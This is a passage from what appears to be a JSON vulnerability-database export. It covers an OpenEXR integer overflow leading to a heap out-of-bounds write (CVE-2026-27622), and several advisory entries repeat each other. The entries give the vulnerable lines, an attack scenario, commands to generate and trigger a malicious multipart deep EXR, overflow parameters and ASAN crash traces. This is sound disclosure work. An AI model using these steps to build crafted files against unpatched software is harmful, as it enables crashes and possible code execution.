EXR, iterate parts, select `DEEPSCANLINE`, add sources to `CompositeDeepScanLine`, bind a normal `FrameBuffer`, then call `readPixels`.\n\nBuild with ASAN/UBSAN:\n\n```bash\ncmake -S . -B build-asan \\\n  -DOPENEXR_BUILD_POC=ON \\\n  -DCMAKE_BUILD_TYPE=RelWithDebInfo \\\n  -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \\\n  -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \\\n  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \\\n  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'\n\ncmake --build build-asan --target composite_writer simple_exr_reader -j\n```\n\nGenerate malicious file (decode-path focused profile):\n\n```bash\nASAN_OPTIONS=detect_leaks=0 timeout 180s \\\n  ./build-asan/poc/composite_writer \\\n  --profile low-ram \\\n  --file /tmp/composite_decode_focus.exr\n```\n\nTrigger:\n\n```bash\nASAN_OPTIONS=detect_leaks=0 timeout 30s \\\n  ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr\n```\n\nASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.\n\n## Example runs\n\nWriter (abbrev):\n\n```bash\n❯ ./build-asan/poc/composite_writer\nexploit math:\n  benign samples                 : 300\n  malicious parts                : 86\n  malicious samples per part     : 50000000\n  true total samples             : 4300000300\n  uint32 overflow reached        : yes\n  wrapped uint32 total           : 5033004\n  composite Z/A alloc from wrap  : 40264032 bytes (38.40 MiB)\n  per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)\n  min parts to overflow (current benign/samples): 86\nwriting compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr\nwriting donor malicious part (50000000 samples)\ncopying malicious part 1/86 from donor chunk\n...\nfile size: 26112896 bytes (24.90 MiB)\n```\n\nReader ASAN crash:\n\n```bash\n❯ ./build-asan/poc/simple_exr_reader\nreading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts\n=================================================================\n==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670\nWRITE of size 4 at 0x7ed1a55d90b0 thread T0\n    #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374\n    #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664\n    #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816\n    #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const\u0026, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568\n    #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576\n    #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88\n    #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)\n\n0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)\nallocated by thread T0 here:\n    #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95\n    #1 0x7ed1dbc29600 in std::__new_allocator\u003cfloat\u003e::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151\n    #2 0x7ed1dbc29600 in std::allocator_traits\u003cstd::allocator\u003cfloat\u003e \u003e::allocate(std::allocator\u003cfloat\u003e\u0026, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482\n    #3 0x7ed1dbc29600 in std::_Vector_base\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381\n    #4 0x7ed1dbc29600 in std::_Vector_base\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378\n    #5 0x7ed1dbc29600 in std::vector\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663\n    #6 0x7ed1dbc00184 in std::vector\u003cfloat, std::allocator\u003cfloat\u003e \u003e::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016\n    #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535\n    #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88\n    #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers\nShadow bytes around the buggy address:\n  0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=\u003e0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07\n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==175024==ABORTING\n```\n\n## Root cause analysis\n\nIn `CompositeDeepScanLine::readPixels`:\n\n1. Per-pixel totals are accumulated in `vector\u003cunsigned int\u003e total_sizes`.\n2. For attacker-controlled large counts across many parts, `total_sizes[ptr]` wraps modulo `2^32`.\n3. `overall_sample_count` is then derived from wrapped totals and used in `samples[channel].resize(overall_sample_count)`.\n4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (`generic_unpack_deep_pointers`) overrun the undersized composite sample buffer.\n\n\nAllocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.\n\n## Impact\n\nHeap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.","status":"published","published":"2026-03-02T18:30:20Z","modified":"2026-07-13T16:43:37.006984693Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-787"],"updated_at":"2026-11-02T15:46:45.28161Z"},{"id":"JLSEC-2026-141","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In `CompositeDeepScanLine::readPixels`, per-pixel totals are accumulated in `vector\u003cunsigned int\u003e total_sizes` for attacker-controlled large counts across many parts, `total_sizes`[ptr] wraps modulo 2^32.  `overall_sample_count` is then derived from wrapped totals and used in `samples[channel].resize(overall_sample_count)`. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (`generic_unpack_deep_pointers`) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.","status":"published","published":"2026-04-17T15:19:54.657Z","modified":"2026-07-25T18:23:47.401857671Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:47:18.159338Z"},{"id":"OESA-2026-1616","title":"OpenEXR security update","description":"OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light \u0026amp;amp; Magic for use in computer imaging applications.\r\n\r\nSecurity Fix(es):\n\nOpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u0026lt;unsigned int\u0026gt; total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)","status":"published","published":"2026-03-15T07:31:29Z","modified":"2026-08-18T01:19:40.329578427Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:45.721983Z"},{"id":"OESA-2026-1617","title":"OpenEXR security update","description":"OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light \u0026amp;amp; Magic for use in computer imaging applications.\r\n\r\nSecurity Fix(es):\n\nOpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u0026lt;unsigned int\u0026gt; total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)","status":"published","published":"2026-03-15T07:31:30Z","modified":"2026-08-18T01:19:38.013594409Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:45.721983Z"},{"id":"OESA-2026-1618","title":"OpenEXR security update","description":"OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light \u0026amp;amp; Magic for use in computer imaging applications.\r\n\r\nSecurity Fix(es):\n\nOpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u0026lt;unsigned int\u0026gt; total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)","status":"published","published":"2026-03-15T07:31:31Z","modified":"2026-08-18T01:19:40.312062999Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:45.721983Z"},{"id":"OESA-2026-1619","title":"OpenEXR security update","description":"OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light \u0026amp;amp; Magic for use in computer imaging applications.\r\n\r\nSecurity Fix(es):\n\nOpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u0026lt;unsigned int\u0026gt; total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)","status":"published","published":"2026-03-15T07:31:32Z","modified":"2026-08-18T01:19:37.74676452Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:45.721983Z"},{"id":"OESA-2026-1620","title":"OpenEXR security update","description":"OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light \u0026amp;amp; Magic for use in computer imaging applications.\r\n\r\nSecurity Fix(es):\n\nOpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u0026lt;unsigned int\u0026gt; total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)","status":"published","published":"2026-03-15T07:31:34Z","modified":"2026-08-18T01:19:37.999088724Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:45.721983Z"},{"id":"OESA-2026-1685","title":"OpenEXR security update","description":"OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light \u0026amp;amp; Magic for use in computer imaging applications.\r\n\r\nSecurity Fix(es):\n\nOpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u0026lt;unsigned int\u0026gt; total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)","status":"published","published":"2026-03-20T11:10:43Z","modified":"2026-08-18T01:19:41.803974269Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:45.721983Z"},{"id":"OESA-2026-1686","title":"OpenEXR security update","description":"OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light \u0026amp;amp; Magic for use in computer imaging applications.\r\n\r\nSecurity Fix(es):\n\nOpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u0026lt;unsigned int\u0026gt; total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)","status":"published","published":"2026-03-20T11:10:43Z","modified":"2026-08-18T01:19:41.673927561Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:45.721983Z"},{"id":"OESA-2026-1687","title":"OpenEXR security update","description":"OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light \u0026amp;amp; Magic for use in computer imaging applications.\r\n\r\nSecurity Fix(es):\n\nOpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u0026lt;unsigned int\u0026gt; total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)","status":"published","published":"2026-03-20T11:10:43Z","modified":"2026-08-18T01:19:41.772268274Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:45.721983Z"},{"id":"OESA-2026-1688","title":"OpenEXR security update","description":"OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light \u0026amp;amp; Magic for use in computer imaging applications.\r\n\r\nSecurity Fix(es):\n\nOpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u0026lt;unsigned int\u0026gt; total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)","status":"published","published":"2026-03-20T11:10:43Z","modified":"2026-08-18T01:19:41.677104172Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:45.721983Z"},{"id":"OESA-2026-1689","title":"OpenEXR security update","description":"OpenEXR is a high dynamic-range (HDR) image file format originally developed by Industrial Light \u0026amp;amp; Magic for use in computer imaging applications.\r\n\r\nSecurity Fix(es):\n\nOpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u0026lt;unsigned int\u0026gt; total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.(CVE-2026-27622)","status":"published","published":"2026-03-20T11:10:43Z","modified":"2026-08-18T01:19:41.725335811Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:45.721983Z"},{"id":"PYSEC-2026-2846","title":"OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write","description":"## Summary\n\nFunction: `CompositeDeepScanLine::readPixels`, reachable from high-level multipart deep read flows (`MultiPartInputFile` + `DeepScanLineInputPart` + `CompositeDeepScanLine`).\n\nVulnerable lines (`src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp`):\n- `total_sizes[ptr] += counts[j][ptr];` (line ~511)\n- `overall_sample_count += total_sizes[ptr];` (line ~514)\n- `samples[channel].resize (overall_sample_count);` (line ~535)\n\nImpact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in `generic_unpack_deep_pointers` (`src/lib/OpenEXRCore/unpack.c:1374`) (DoS/Crash, memory corruption/RCE).\n\nAttack scenario:\n- Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.\n- Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.\n- The overflow happens in composite sample accounting (`unsigned int`), while pointer progression for decode uses larger counters and reaches out-of-bounds.\n\nTested on: `OpenEXR 4.0.0-dev` (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0\n\n## Steps to reproduce\n\n[composite_deepscanline_poc_bundle.patch](https://github.com/user-attachments/files/25383205/composite_deepscanline_poc_bundle.patch)\n\nPoC files used:\n- Writer/generator: `poc/composite_deep_scanline_e2e_compressed_poc.cpp`\n- Minimal high-level reader harness: `poc/simple_exr_reader.cpp`\n\nThe reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select `DEEPSCANLINE`, add sources to `CompositeDeepScanLine`, bind a normal `FrameBuffer`, then call `readPixels`.\n\nBuild with ASAN/UBSAN:\n\n```bash\ncmake -S . -B build-asan \\\n  -DOPENEXR_BUILD_POC=ON \\\n  -DCMAKE_BUILD_TYPE=RelWithDebInfo \\\n  -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \\\n  -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \\\n  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \\\n  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'\n\ncmake --build build-asan --target composite_writer simple_exr_reader -j\n```\n\nGenerate malicious file (decode-path focused profile):\n\n```bash\nASAN_OPTIONS=detect_leaks=0 timeout 180s \\\n  ./build-asan/poc/composite_writer \\\n  --profile low-ram \\\n  --file /tmp/composite_decode_focus.exr\n```\n\nTrigger:\n\n```bash\nASAN_OPTIONS=detect_leaks=0 timeout 30s \\\n  ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr\n```\n\nASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.\n\n## Example runs\n\nWriter (abbrev):\n\n```bash\n❯ ./build-asan/poc/composite_writer\nexploit math:\n  benign samples                 : 300\n  malicious parts                : 86\n  malicious samples per part     : 50000000\n  true total samples             : 4300000300\n  uint32 overflow reached        : yes\n  wrapped uint32 total           : 5033004\n  composite Z/A alloc from wrap  : 40264032 bytes (38.40 MiB)\n  per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)\n  min parts to overflow (current benign/samples): 86\nwriting compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr\nwriting donor malicious part (50000000 samples)\ncopying malicious part 1/86 from donor chunk\n...\nfile size: 26112896 bytes (24.90 MiB)\n```\n\nReader ASAN crash:\n\n```bash\n❯ ./build-asan/poc/simple_exr_reader\nreading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts\n=================================================================\n==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670\nWRITE of size 4 at 0x7ed1a55d90b0 thread T0\n    #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374\n    #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664\n    #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816\n    #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const\u0026, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568\n    #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576\n    #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88\n    #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)\n\n0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)\nallocated by thread T0 here:\n    #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95\n    #1 0x7ed1dbc29600 in std::__new_allocator\u003cfloat\u003e::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151\n    #2 0x7ed1dbc29600 in std::allocator_traits\u003cstd::allocator\u003cfloat\u003e \u003e::allocate(std::allocator\u003cfloat\u003e\u0026, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482\n    #3 0x7ed1dbc29600 in std::_Vector_base\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381\n    #4 0x7ed1dbc29600 in std::_Vector_base\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378\n    #5 0x7ed1dbc29600 in std::vector\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663\n    #6 0x7ed1dbc00184 in std::vector\u003cfloat, std::allocator\u003cfloat\u003e \u003e::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016\n    #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535\n    #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88\n    #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers\nShadow bytes around the buggy address:\n  0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=\u003e0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07\n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==175024==ABORTING\n```\n\n## Root cause analysis\n\nIn `CompositeDeepScanLine::readPixels`:\n\n1. Per-pixel totals are accumulated in `vector\u003cunsigned int\u003e total_sizes`.\n2. For 